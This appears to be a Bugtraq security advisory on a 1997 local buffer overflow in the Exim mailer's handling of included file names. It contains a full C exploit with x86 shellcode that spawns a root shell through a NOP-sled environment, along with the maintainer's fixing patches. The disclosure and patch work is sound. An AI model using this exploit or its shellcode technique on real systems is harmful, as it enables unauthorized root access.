Exim Buffer Overflow Vulnerability

Bugtraq ID:	1859
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Jul 21 1997 12:00AM
Updated:	Jul 21 1997 12:00AM
Credit:	This vulnerability was reported to bugtraq by D. J. Bernstein <[email protected]> Two patches supplied by Philip Hazel.
Vulnerable:	University of Cambridge Exim 1.6.51 University of Cambridge Exim 1.6.2
Not Vulnerable:	University of Cambridge Exim 3.0 x University of Cambridge Exim 2.0 x

Exim Buffer Overflow Vulnerability

A potential local root yielding buffer overflow vulnerability exists in Exim mail client version 1.62.

A buffer used in processing filenames of message attachments can be overflowed by a maliciously-formed filename. As a result, the excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can be a crafted so that alter the program's flow of execution. If properly exploited, this can yield root privilege to the attacker.

Exim Buffer Overflow Vulnerability

Exploit provided by D. J. Bernstein <[email protected]>

/* sample code for one OS/compiler combination; ./this ./exim -bt you */

char code[] = {
0x31,0xc0 /* eax = 0 */
, 0x50 /* push eax */
, 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
, 0xff,0xd3 /* call ebx */
, 0x31,0xc0
, 0x50
, 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
, 0x50
, 0x50
, 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
, 0xff,0xd3
, 0x00 /* just to terminate the last string in the environment */
} ;

char buf[1000];
char *env[1001];

void main(argc,argv)
int argc;
char **argv;
{
int i;
int j;

for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
memcpy(buf + sizeof buf - sizeof code,code,sizeof code);

j = 0;
env[0] = buf;
for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1;
env[j] = 0;

if (argv[1]) execve(argv[1],argv + 1,env);
exit(1);
}

Exim Buffer Overflow Vulnerability

Solution:
The latest release of exim is version 3.16. Versions before 2.0x should be upgraded. Version 3.0x releases are also best upgraded.
See www.exim.org.

Patches supplied by author for versions 1.62 and 1.651:
--------------------------------------------------------------------

*** exim-1.62/src/parse.c Wed Apr 16 14:34:49 1997
--- parse.c Tue Jul 22 09:41:50 1997
***************
*** 1037,1042 ****
--- 1037,1048 ----
int extracted;
FILE *f;

+ if (len-9 > 255)
+ {
+ *error = "included file name is too long";
+ return -1;
+ }
+
strncpy(filename, s+9, len-9);
filename[len-9] = 0;

---snip--------------------------------------------------------------------

*** exim-1.651/src/parse.c Fri Jul 4 16:33:56 1997
--- parse.c Tue Jul 22 09:31:54 1997
***************
*** 1056,1061 ****
--- 1056,1067 ----
*error = string_sprintf("file name missing after :include:");
return -1;
}
+
+ if (flen > 255)
+ {
+ *error = string_sprintf("included file name \"%s\" is too long", t);
+ return -1;
+ }

strncpy(filename, t, flen);
filename[flen] = 0;

--------------------------------------------------------------------

Exim Buffer Overflow Vulnerability

References:

• Exim homepage (Exim)